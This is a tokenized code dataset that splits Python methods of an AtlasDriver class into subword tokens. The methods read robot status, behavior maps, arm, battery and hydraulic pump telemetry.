"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"on",
"Atla",
"s",
"Batt",
"ery",
"Data_",
"(_",
"self_",
",_",
"message_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"last",
"Atla",
"s",
"Batt",
"ery",
"Data",
"Message_",
"=_",
"message_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"on",
"Atla",
"s",
"Electric",
"Arm",
"Status_",
"(_",
"self_",
",_",
"message_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"last",
"Atla",
"s",
"Electric",
"Arm",
"Status",
"Message_",
"=_",
"message_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"on",
"Atla",
"s",
"State",
"Extra",
"_",
"(_",
"self_",
",_",
"message_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"max",
"Press",
"ure",
"History_",
"._",
"append_",
"(_",
"max_",
"(_",
"np_",
"._",
"max_",
"(_",
"message_",
"._",
"psi",
"\\u",
"pos_",
")_",
",_",
"np_",
"._",
"max_",
"(_",
"message_",
"._",
"psi",
"\\u",
"neg_",
")_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"averag",
"e",
"Rece",
"nt",
"Max",
"Press",
"ure_",
"=_",
"np_",
"._",
"mean_",
"(_",
"self_",
"._",
"max",
"Press",
"ure",
"History_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"Behavio",
"r",
"Map_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"'''",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Return",
" ",
"a",
" ",
"dict",
" ",
"tha",
"t",
" ",
"maps",
" ",
"behavior",
" ",
"ids",
" ",
"(",
"int",
")",
" ",
"to",
" ",
"behavior",
" ",
"names",
" ",
"(",
"string",
").",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"'''_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"not_",
"self_",
"._",
"\\u",
"behavior",
"Map_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"msg_",
"=_",
"atlas",
"_",
"._",
"status",
"\\u",
"t_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"\\u",
"behavior",
"Map_",
"=_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
"._",
"BE",
"HA",
"VIO",
"R",
"\\u",
"NONE_",
":_",
"'",
"none",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
"._",
"BE",
"HA",
"VIO",
"R",
"\\u",
"FREE",
"ZE",
"_",
":_",
"'",
"freez",
"e",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
"._",
"BE",
"HA",
"VIO",
"R",
"\\u",
"STAN",
"D",
"\\u",
"PREP",
"_",
":_",
"'",
"prep",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
"._",
"BE",
"HA",
"VIO",
"R",
"\\u",
"STAN",
"D_",
":_",
"'",
"stand",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
"._",
"BE",
"HA",
"VIO",
"R",
"\\u",
"WAL",
"K_",
":_",
"'",
"walk",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
"._",
"BE",
"HA",
"VIO",
"R",
"\\u",
"STEP_",
":_",
"'",
"step",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
"._",
"BE",
"HA",
"VIO",
"R",
"\\u",
"MAN",
"IP",
"ULAT",
"E_",
":_",
"'",
"manip",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
"._",
"BE",
"HA",
"VIO",
"R",
"\\u",
"USER_",
":_",
"'",
"user",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
"._",
"BE",
"HA",
"VIO",
"R",
"\\u",
"CALI",
"BRA",
"TE_",
":_",
"'",
"calibrate",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
"._",
"BE",
"HA",
"VIO",
"R",
"\\u",
"SOFT",
"\\u",
"STOP_",
":_",
"'",
"stop",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"self_",
"._",
"\\u",
"behavior",
"Map_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"Controlle",
"r",
"Status",
"Map_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"'''",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Return",
" ",
"a",
" ",
"dict",
" ",
"tha",
"t",
" ",
"maps",
" ",
"controlle",
"r",
" ",
"status",
" ",
"ids",
" ",
"(",
"int",
")",
" ",
"to",
" ",
"names",
" ",
"(",
"string",
").",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"'''_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"not_",
"self_",
"._",
"\\u",
"controlle",
"r",
"Status",
"Map_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"msg_",
"=_",
"lcm",
"dr",
"c_",
"._",
"plan",
"\\u",
"status",
"\\u",
"t_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"\\u",
"controlle",
"r",
"Status",
"Map_",
"=_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
"._",
"UNKNOWN_",
":_",
"'",
"unknown",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
"._",
"STAN",
"DING",
"_",
":_",
"'",
"standing",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
"._",
"WAL",
"KING",
"_",
":_",
"'",
"walking",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
"._",
"HAR",
"NESS",
"ED_",
":_",
"'",
"har",
"ness",
"ed",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
"._",
"QUA",
"SIS",
"TAT",
"IC_",
":_",
"'",
"quas",
"ista",
"tic",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
"._",
"BRAC",
"ING_",
":_",
"'",
"bra",
"cing",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
"._",
"CRA",
"WL",
"ING_",
":_",
"'",
"crawl",
"ing",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
"._",
"DUMMY",
"_",
":_",
"'",
"dummy",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
"._",
"MAN",
"IP",
"ULAT",
"ING_",
":_",
"'",
"manipulati",
"ng",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"msg_",
"._",
"RECO",
"VERI",
"NG_",
":_",
"'",
"recover",
"ing",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"self_",
"._",
"\\u",
"controlle",
"r",
"Status",
"Map_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"Curr",
"ent",
"Behavio",
"r",
"Name_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"'''",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Return",
"s",
" ",
"the",
" ",
"current",
" ",
"behavior",
" ",
"name",
" ",
"as",
" ",
"a",
" ",
"string",
".",
" ",
" ",
"Return",
"s",
" ",
"Non",
"e",
" ",
"if",
" ",
"the",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"current",
" ",
"behavior",
" ",
"is",
" ",
"unknown",
".",
" ",
" ",
"The",
" ",
"current",
" ",
"behavior",
" ",
"is",
" ",
"unknown",
" ",
"if",
" ",
"no",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"atlas",
" ",
"status",
" ",
"message",
"s",
" ",
"have",
" ",
"arrive",
"d",
" ",
"sinc",
"e",
" ",
"this",
" ",
"class",
" ",
"was",
" ",
"initialize",
"d",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"The",
" ",
"return",
"ed",
" ",
"string",
" ",
"is",
" ",
"one",
" ",
"of",
" ",
"the",
" ",
"behavior",
" ",
"names",
" ",
"in",
" ",
"the",
" ",
"values",
" ",
"of",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"the",
" ",
"behavior",
" ",
"map",
" ",
"return",
"ed",
" ",
"by",
" ",
"get",
"Behavio",
"r",
"Map",
"()",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"'''_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"not_",
"self_",
"._",
"last",
"Atla",
"s",
"Status",
"Message_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"behavior",
"s_",
"=_",
"self_",
"._",
"get",
"Behavio",
"r",
"Map_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"behavior",
"Id_",
"=_",
"self_",
"._",
"last",
"Atla",
"s",
"Status",
"Message_",
"._",
"behavior_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"behavior",
"Id_",
"in_",
"behavior",
"s_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"behavior",
"s_",
"[_",
"behavior",
"Id_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"Controlle",
"r",
"Rate_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"'''",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Return",
"s",
" ",
"the",
" ",
"current",
" ",
"controlle",
"r",
" ",
"rate",
" ",
"hz",
" ",
"or",
" ",
"Non",
"e",
" ",
"if",
" ",
"no",
" ",
"controlle",
"r",
" ",
"rate",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"message",
" ",
"has",
" ",
"bee",
"n",
" ",
"receive",
"d",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"'''_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"self_",
"._",
"last",
"Controlle",
"r",
"Rat",
"e",
"Message_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"self_",
"._",
"last",
"Controlle",
"r",
"Rat",
"e",
"Message_",
"._",
"rate",
"\\u",
"deci",
"\\u",
"hz_",
"/_",
"10.0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"Controlle",
"r",
"Status_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"'''",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Return",
"s",
" ",
"the",
" ",
"current",
" ",
"controlle",
"r",
" ",
"status",
" ",
"as",
" ",
"a",
" ",
"string",
".",
" ",
" ",
"The",
" ",
"possib",
"le",
" ",
"string",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"values",
" ",
"are",
" ",
"the",
" ",
"values",
" ",
"of",
" ",
"the",
" ",
"dict",
" ",
"return",
"ed",
" ",
"by",
" ",
"get",
"Controlle",
"r",
"Status",
"Map",
"()",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Non",
"e",
" ",
"is",
" ",
"return",
"ed",
" ",
"if",
" ",
"no",
" ",
"controlle",
"r",
" ",
"status",
" ",
"message",
" ",
"has",
" ",
"bee",
"n",
" ",
"receive",
"d",
" ",
"or",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"the",
" ",
"status",
" ",
"is",
" ",
"not",
" ",
"amo",
"ng",
" ",
"tho",
"se",
" ",
"handle",
"d",
" ",
"by",
" ",
"this",
" ",
"driver",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"'''_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"not_",
"self_",
"._",
"last",
"Controlle",
"r",
"Status",
"Message_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"status",
"Map_",
"=_",
"self_",
"._",
"get",
"Controlle",
"r",
"Status",
"Map_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"state_",
"=_",
"self_",
"._",
"last",
"Controlle",
"r",
"Status",
"Message_",
"._",
"plan",
"\\u",
"type_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"state_",
"in_",
"status",
"Map_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"status",
"Map_",
"[_",
"state_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"Recover",
"y",
"Enable",
"d",
"Status_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"not_",
"self_",
"._",
"last",
"Controlle",
"r",
"Status",
"Message_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"self_",
"._",
"last",
"Controlle",
"r",
"Status",
"Message_",
"._",
"recover",
"y",
"\\u",
"enabled_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"\"",
"enable",
"d",
"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"\"",
"disable",
"d",
"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"Bra",
"cing",
"Enable",
"d",
"Status_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"not_",
"self_",
"._",
"last",
"Controlle",
"r",
"Status",
"Message_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"self_",
"._",
"last",
"Controlle",
"r",
"Status",
"Message_",
"._",
"bra",
"cing",
"\\u",
"enabled_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"\"",
"enable",
"d",
"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"\"",
"disable",
"d",
"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"Electric",
"Arm",
"Enable",
"d",
"Status_",
"(_",
"self_",
",_",
"i_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"assert_",
"0_",
"<=_",
"i_",
"<=_",
"5_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"self_",
"._",
"last",
"Atla",
"s",
"Electric",
"Arm",
"Status",
"Message_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"self_",
"._",
"last",
"Atla",
"s",
"Electric",
"Arm",
"Status",
"Message_",
"._",
"enabled_",
"[_",
"i_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"Electric",
"Arm",
"Temperature_",
"(_",
"self_",
",_",
"i_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"assert_",
"0_",
"<=_",
"i_",
"<=_",
"5_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"self_",
"._",
"last",
"Atla",
"s",
"Electric",
"Arm",
"Status",
"Message_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"self_",
"._",
"last",
"Atla",
"s",
"Electric",
"Arm",
"Status",
"Message_",
"._",
"temperature_",
"[_",
"i_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"0.0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"Electric",
"Arm",
"Drive",
"Current_",
"(_",
"self_",
",_",
"i_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"assert_",
"0_",
"<=_",
"i_",
"<=_",
"5_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"self_",
"._",
"last",
"Atla",
"s",
"Electric",
"Arm",
"Status",
"Message_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"self_",
"._",
"last",
"Atla",
"s",
"Electric",
"Arm",
"Status",
"Message_",
"._",
"drive",
"\\u",
"current_",
"[_",
"i_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"0.0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"Batt",
"ery",
"Charge",
"Rema",
"inin",
"g_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"self_",
"._",
"last",
"Atla",
"s",
"Batt",
"ery",
"Data",
"Message_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"self_",
"._",
"last",
"Atla",
"s",
"Batt",
"ery",
"Data",
"Message_",
"._",
"rema",
"inin",
"g",
"\\u",
"charge",
"\\u",
"percentage_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"Batt",
"ery",
"Volt",
"age_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"self_",
"._",
"last",
"Atla",
"s",
"Batt",
"ery",
"Data",
"Message_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"self_",
"._",
"last",
"Atla",
"s",
"Batt",
"ery",
"Data",
"Message_",
"._",
"voltage_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"Batt",
"ery",
"Temperature_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"self_",
"._",
"last",
"Atla",
"s",
"Batt",
"ery",
"Data",
"Message_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"self_",
"._",
"last",
"Atla",
"s",
"Batt",
"ery",
"Data",
"Message_",
"._",
"temperature_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"Curr",
"ent",
"In",
"let",
"Press",
"ure_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"self_",
"._",
"last",
"Atla",
"s",
"Status",
"Message_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"self_",
"._",
"last",
"Atla",
"s",
"Status",
"Message_",
"._",
"pump",
"\\u",
"inlet",
"\\u",
"pressure_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"0.0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"Curr",
"ent",
"Suppl",
"y",
"Press",
"ure_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"self_",
"._",
"last",
"Atla",
"s",
"Status",
"Message_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"self_",
"._",
"last",
"Atla",
"s",
"Status",
"Message_",
"._",
"pump",
"\\u",
"supply",
"\\u",
"pressure_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"0.0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"Curr",
"ent",
"Return",
"Press",
"ure_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"self_",
"._",
"last",
"Atla",
"s",
"Status",
"Message_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"self_",
"._",
"last",
"Atla",
"s",
"Status",
"Message_",
"._",
"pump",
"\\u",
"return",
"\\u",
"pressure_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"0.0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"Curr",
"ent",
"Air",
"Sum",
"p",
"Press",
"ure_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"self_",
"._",
"last",
"Atla",
"s",
"Status",
"Message_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"self_",
"._",
"last",
"Atla",
"s",
"Status",
"Message_",
"._",
"air",
"\\u",
"sum",
"p",
"\\u",
"pressure_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"0.0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Atla",
"s",
"Driver_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"Curr",
"ent",
"Pump",
"Rp",
"m_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
